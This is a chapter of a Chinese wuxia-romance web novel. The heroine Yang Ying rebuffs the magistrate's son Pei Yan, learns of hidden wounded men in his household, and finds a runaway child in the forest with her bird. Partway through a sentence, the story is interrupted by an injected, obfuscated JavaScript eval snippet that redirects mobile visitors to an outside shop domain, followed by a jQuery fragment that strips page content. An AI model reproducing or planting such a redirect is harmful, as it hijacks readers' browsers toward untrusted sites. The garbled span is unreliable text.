杨缨一杯茶都喝完了,裴衍还是没有再开口的样子,只是脸含笑意准备给她倒一杯茶水。
已经快到晌午,她担心自己再不回去那群孩子会开始慌乱,到处乱走。那山谷前方空旷,但是深处有一片密林,若是不慎走进去,怕是难以再找到。
想到这,杨缨抬手拦住裴衍的动作,对他摇了摇头道:“裴公子,茶水虽好,但是我难再多饮,实在是有要事不能再耽搁了。”她说着就要起身离开。
裴衍伸手拦住了她,又摁着她的肩膀让她坐下。
杨缨只觉得心头一股火气冒出,袖子里一颗石子掉落,她用两个手指捏住,反复摩擦。
面上的笑容已经褪去,只静静地看着坐在对面地裴衍。她已打定主意,如果一炷香之后这裴少爷还不让自己离开,直接一石子上去打晕便是,反正等此间事了,自己再也不会踏足石雨镇。
裴衍瞧见面前女子的神情,也自觉有些冒昧,连连道歉,见杨缨没有言语,只是沉着脸看他,叹了一口气道:“杨姑娘,我实在是不愿意就这么让你离开……”
“为何?”杨缨轻轻问道。她自认为和这个裴少爷没什么交集,实在是不理解他为何如此纠缠。
“杨姑娘今年芳龄几何?”裴衍问道。
“二十有二。”
他点点头道:“我今年二十有五。”默默抬头看了杨缨一眼,耳尖泛红,“尚未婚配。”
杨缨看着他没有回话。
裴衍见此无奈叹了一口气:“杨姑娘,你还不明白吗?窈窕淑女君子好逑……”
她这才恍然大悟,然而心中没有半点欢喜之情,只觉得十分诧异:“你喜欢我?这才是我们第二次见面吧。”
“虽然只是第二次见面,但是第一次见面我就对你……”
“先等等。”杨缨连忙打断他,“你是县令家的公子,我只是一个孤女,实在不妥,除非你想纳我作小?“想到此她顿时大惊失色。
行走江湖这五年她自然也见过不少大户人家妻妾成群,勾心斗角的事情数不胜数,只是没想到有一天竟然轮到了自己。
她面色气得薄红,指尖蓄力待发。原先这石子只是准备打在他的胸前,让他昏睡便可,这次看起来要多加几分力打在他的脑袋上了,保管让他昏迷几天,治一治这富家公子哥。
裴衍见杨缨一脸怒气,连忙摆手道:“没有没有,自然是不敢唐突姑娘。”见杨缨面色稍缓,他才继续道:“我父亲虽然是一县之令,但是从来只有我母亲一个妻子,没有什么妾室。我裴家门风清正,祖辈皆没有做过纳妾之事。”
门风清正,杨缨心中冷笑,官府和五毒教勾结,让他们肆意掳走孩童,不闻不问,如今又听从五毒教的命令,鸡飞狗跳地四处搜查,裴县令能做出这种事情,着实是败德辱行,他们裴家哪里来的清,又怎么担得起正?
杨缨心中虽然已起惊涛骇浪,但是面上却微微一笑道:“确实,裴县令治理下的石雨镇真是太平无事,百姓安居乐业,真是好县令!”
她这话自然嘲讽之意十足,镇上刚丢了八个孩子,如今还没找到,今天官兵还在各个角落大肆追寻,搞得镇上一片人仰马翻,哪里谈得上太平无事!
杨缨这话已经是一点情面也没留,她只等着裴衍拍桌而起,自己再一石子将他放倒,翻窗离开,再不想多看这人一眼。
然而裴衍听此,只是羞愧地低下头,半句反驳之话也没说出口。
许久他才低声道:“我也不知道父亲是怎么想的,刚才我便是准备去问询他。若是要找,当初何必不一直找下去,既已停下,如今又为何再起波澜?”
要找要停,自然都是五毒教的意思,也不知道五毒教给了他什么好处,让县太爷如此听话。只是杨缨再生气,也做不到在一个儿子面前贬低他的父亲之事,因此只是敷衍道:“裴县令有自己的打算吧。”
话已经说到这份上,两人也算撕破脸面,杨缨料想纵使这裴少爷之前对自己有好感,如今这好感也变成了厌恶之情。便再次站起身道:“裴公子,话已至此,多说无益。”
她弯腰在茶台上放下一两银子便准备离开。
裴衍这次确实没有再拦她,只是在她快走到门口时,突然开口道:“裴府昨天住进来几个受伤的人,父亲单独开辟了一个院子,让丫鬟小厮都远远离开,不准靠近,连我也不能进去。”
杨缨身形一顿,没有回头,只是再快步离开。
此时,裴衍的随从们正坐在大厅喝茶,见杨缨已经出来,却不见自家少爷的身影,几个人连忙拦在她面前:“姑娘,先别急着离开呀,再等等我家少爷。”
杨缨一个眼刀扫过去,右手抬起正待用力,就听见裴衍的声音从后面响起:“都挡在杨姑娘面前做什么?还不快散开!少爷我和杨姑娘相谈甚欢,以后见了她都恭敬点,不许无礼!”
随从连忙躬身让出一条道,杨缨回头,见裴衍只是笑着看她,仿佛之前的暗语藏锋完全不存在。
出了茶室才发现之前买的糕点忘记拿走,如今也不便再转头再拿,她没有办法,只好重新买了几提糕点带给孩子们。
她提着糕点专门走小路出镇,见四下没人注意,便运起轻功赶在午时回去。
***
还不待她招呼孩子们吃东西,小白迎面飞来,叼住她肩上的衣服要扯着她走。
杨缨轻拍她的翅膀安抚,孩子们见到她的身影,哭着喊着围上来,呜呜喳喳地说着什么,杨缨按了按额角,示意他们安静,然后又看向阿禾,示意她一个人说。
“姐姐,晓春不见了,哪里也找不到她,怎么办呀。”她眼泪流个不停,边哭边说。
晓春的妈妈和阿禾的妈妈关系很好,两人前后几天生产,时常带着孩子聚在一起缝补闲谈,两人算是一起长大。
杨缨擦掉她脸上的泪水,轻声说:“别着急,一点点说,怎么不见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774324|209351||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的?”
听着杨缨温声细语地安慰,阿禾也缓过神来,抹了一把眼泪道:“我们几个人无聊,就想玩捉迷藏,约定只能在这山洞附近藏身,不能跑远。我把其他人都找齐了,但是怎么也找不到晓春,几个人一起找也找不出她,我们大喊着游戏结束了,她也不肯出现。”
杨缨听罢,将孩子们带回山洞,拿出糕点让他们先吃:“姐姐知道晓春在哪里,你们就待在这里不要出去,不然姐姐找完晓春还要再找你们,一点都不能休息啦!”
孩子们连连点头,保证哪里也不去。
杨缨唤来小白,果然见它抓着自己的衣服要把自己领向密林,就知道小白已经发现晓春的身影了。
一人一鸟在密林穿梭,远远就看见一个女孩蹲在地上抹眼泪。杨缨叹了一口气,走上前轻轻唤了一声:“晓春。”
晓春抬头,看见杨缨站在她面前,喜出望外,猛地扑进她怀里:“姐姐,你来了,你真的找到我了!”
杨缨轻拍她的背,问道:“为什么一个人走这么远?大家都很担心你。”
晓春将头埋在杨缨唤来啜泣,好一会儿才闷声说:“因为阿禾。”
“阿禾怎么了?她刚才可是最着急了。”
“我不是阿禾最好的朋友了。”晓春从杨缨怀里探出头,红着眼眶看向她。
“是因为一直跟在阿禾旁边的那个男孩?”杨缨理了理她的头发,捧着她的脸问道。
“嗯,都怪他一直围着阿禾转,所以她最近都很少和我说话了。”
果然如此。
其实她早就注意到了,晓春每次想上前和阿禾说话,林家小少爷就会做些什么打断,阿禾只能抱歉地看向她,再低下头和小少爷说话。昨天晚上睡觉也是,阿禾和晓春本来已经并排紧挨着躺下,小少爷非要挤在她俩中间,抱着阿禾的手臂睡。
“所以你一赌气就跑到这里来?有没有想过万一我没找到你怎么办?”
晓春又把脸埋进杨缨胸口:“我也不知道怎么想的,闷头就走到这里来了,想回去又找不到方向,幸亏姐姐来了。
杨缨将晓春抱紧,柔声说:“千万不要拿自己的安全赌气,这次回去好好和阿禾谈谈,我帮你拦着小少爷。
“嗯,谢谢姐姐。”晓春点了点头。
待感觉晓春已经平复下来了,杨缨将她拉起身,两人转头就要往回走。
小白却不依不饶,又飞上来咬紧杨缨的衣服,还要把她往前扯。
“姐姐,这只鸟儿是不是你养的,刚才它就一直围着我转,飞到前面又飞走,然后你就来了。”晓春惊奇地看着小白。
“是啊,但是你不可以和别人说哦,这是我们的秘密。”杨缨比了一个嘘声,见晓春郑重地点头,才笑着将她抱在怀里,“走,看看鸟儿要带我们去哪里。”
她抱着一个孩子,身姿却依旧轻盈,跟着小白的身影在密林穿梭,引得晓春发出阵阵惊叹。